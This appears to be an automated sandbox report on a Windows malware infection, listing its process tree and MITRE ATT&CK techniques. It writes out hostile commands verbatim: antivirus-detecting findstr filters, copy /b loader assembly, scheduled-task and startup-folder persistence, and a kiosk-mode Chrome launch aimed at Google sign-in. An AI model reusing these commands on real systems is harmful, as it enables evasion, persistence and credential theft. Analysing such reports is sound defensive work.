C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=1320 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:8
8⤵
PID:5832

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=2160 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:6240

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=2200 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:6360

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4352 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:6396

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=2728 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:6644

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=2696 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:1
8⤵
PID:1876

C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
8⤵
PID:1708

C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x154,0x158,0x15c,0x128,0x160,0x13fa07688,0x13fa07698,0x13fa076a8
9⤵
PID:6872

C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe" --system-level --verbose-logging --installerdata="C:\Program Files\Google\Chrome\Application\master_preferences" --create-shortcuts=1 --install-level=0
9⤵
PID:2176

C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x154,0x158,0x15c,0x128,0x160,0x13fa07688,0x13fa07698,0x13fa076a8
10⤵
PID:6120

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4616 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:8
8⤵
PID:2800

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5300 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:8
8⤵
PID:4332

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5252 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:8
8⤵
PID:4376

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4124 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:8
8⤵
PID:3380

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=4016 --field-trial-handle=1376,i,1689421433302598429,1513243022576274955,131072 /prefetch:8
8⤵
PID:5756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\1000033142\so.ps1"
6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:988

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data
7⤵
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4128

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\User\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc8,0xcc,0xd0,0x9c,0xd4,0x7fef2999758,0x7fef2999768,0x7fef2999778
8⤵
PID:4664

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1188 --field-trial-handle=1328,i,17750161181166134066,17126064353915173917,131072 /prefetch:2
8⤵
PID:6208

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=1480 --field-trial-handle=1328,i,17750161181166134066,17126064353915173917,131072 /prefetch:8
8⤵
PID:6236

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
6⤵
PID:4692

C:\Users\Admin\AppData\Local\Temp\1000365001\lummetc.exe
"C:\Users\Admin\AppData\Local\Temp\1000365001\lummetc.exe"
4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3084

C:\Users\Admin\AppData\Local\Temp\1000367001\processclass.exe
"C:\Users\Admin\AppData\Local\Temp\1000367001\processclass.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3768

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start context.exe
5⤵
PID:6640

C:\Users\Admin\AppData\Local\Temp\context.exe
context.exe
6⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:6808

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
7⤵
- System Location Discovery: System Language Discovery
PID:6928

C:\Windows\SysWOW64\tasklist.exe
tasklist
8⤵
- Enumerates processes with tasklist
PID:7132

C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa opssvc"
8⤵
PID:7148

C:\Windows\SysWOW64\tasklist.exe
tasklist
8⤵
- Enumerates processes with tasklist
PID:2932

C:\Windows\SysWOW64\findstr.exe
findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
8⤵
PID:1252

C:\Windows\SysWOW64\cmd.exe
cmd /c md 607698
8⤵
PID:7164

C:\Windows\SysWOW64\findstr.exe
findstr /V "MaskBathroomCompositionInjection" Participants
8⤵
PID:2764

C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b ..\Navy + ..\Temperature + ..\Streaming + ..\Ashley + ..\Ensures + ..\Language + ..\Viruses + ..\Bet + ..\Fla + ..\Asbestos + ..\Width Q
8⤵
PID:308

C:\Users\Admin\AppData\Local\Temp\607698\Waters.pif
Waters.pif Q
8⤵
PID:1916

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k "taskkill /f /im "Waters.pif" && timeout 1 && del Waters.pif && Exit"
9⤵
PID:4140

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im "Waters.pif"
10⤵
- Kills process with taskkill
PID:4320

C:\Windows\SysWOW64\timeout.exe
timeout 1
10⤵
- Delays execution with timeout.exe
PID:4764

C:\Windows\SysWOW64\choice.exe
choice /d y /t 5
8⤵
PID:1776

C:\Users\Admin\AppData\Local\Temp\1000368001\splwow64.exe
"C:\Users\Admin\AppData\Local\Temp\1000368001\splwow64.exe"
4⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:4276

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4640

C:\Windows\SysWOW64\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5324

C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa opssvc"
6⤵
- System Location Discovery: System Language Discovery
PID:5352

C:\Windows\SysWOW64\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5964

C:\Windows\SysWOW64\findstr.exe
findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
6⤵
- System Location Discovery: System Language Discovery
PID:1792

C:\Windows\SysWOW64\cmd.exe
cmd /c md 607698
6⤵
- System Location Discovery: System Language Discovery
PID:2224

C:\Windows\SysWOW64\findstr.exe
findstr /V "MaskBathroomCompositionInjection" Participants
6⤵
- System Location Discovery: System Language Discovery
PID:6284

C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b ..\Navy + ..\Temperature + ..\Streaming + ..\Ashley + ..\Ensures + ..\Language + ..\Viruses + ..\Bet + ..\Fla + ..\Asbestos + ..\Width Q
6⤵
- System Location Discovery: System Language Discovery
PID:6332

C:\Users\Admin\AppData\Local\Temp\607698\Waters.pif
Waters.pif Q
6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6356

C:\Windows\SysWOW64\choice.exe
choice /d y /t 5
6⤵
- System Location Discovery: System Language Discovery
PID:1316

C:\Users\Admin\AppData\Local\Temp\1000370001\PkContent.exe
"C:\Users\Admin\AppData\Local\Temp\1000370001\PkContent.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:4904

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat
5⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5140

C:\Windows\SysWOW64\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3136

C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa opssvc"
6⤵
- System Location Discovery: System Language Discovery
PID:3192

C:\Windows\SysWOW64\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3588

C:\Windows\SysWOW64\findstr.exe
findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
6⤵
- System Location Discovery: System Language Discovery
PID:3708

C:\Windows\SysWOW64\cmd.exe
cmd /c md 724598
6⤵
- System Location Discovery: System Language Discovery
PID:4332

C:\Windows\SysWOW64\findstr.exe
findstr /V "WowLiberalCalOfficer" Weight
6⤵
- System Location Discovery: System Language Discovery
PID:4376

C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b ..\Explorer + ..\West + ..\Agencies + ..\Situated y
6⤵
- System Location Discovery: System Language Discovery
PID:4448

C:\Users\Admin\AppData\Local\Temp\724598\Thermal.pif
Thermal.pif y
6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4580

C:\Users\Admin\AppData\Local\Temp\724598\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\724598\RegAsm.exe
7⤵
PID:1760

C:\Windows\SysWOW64\choice.exe
choice /d y /t 5
6⤵
- System Location Discovery: System Language Discovery
PID:1756

C:\Windows\SysWOW64\cmd.exe
cmd /c schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
2⤵
- System Location Discovery: System Language Discovery
PID:1720

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1608

C:\Windows\SysWOW64\cmd.exe
cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & echo URL="C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & exit
2⤵
- Drops startup file
- System Location Discovery: System Language Discovery
PID:1364

C:\Windows\SysWOW64\cmd.exe
cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & echo URL="C:\Users\Admin\AppData\Local\GuardKey Solutions\HermesKey.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & exit
2⤵
- Drops startup file
- System Location Discovery: System Language Discovery
PID:4816

C:\Windows\SysWOW64\cmd.exe
cmd /c schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
2⤵
PID:1772

C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1296

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion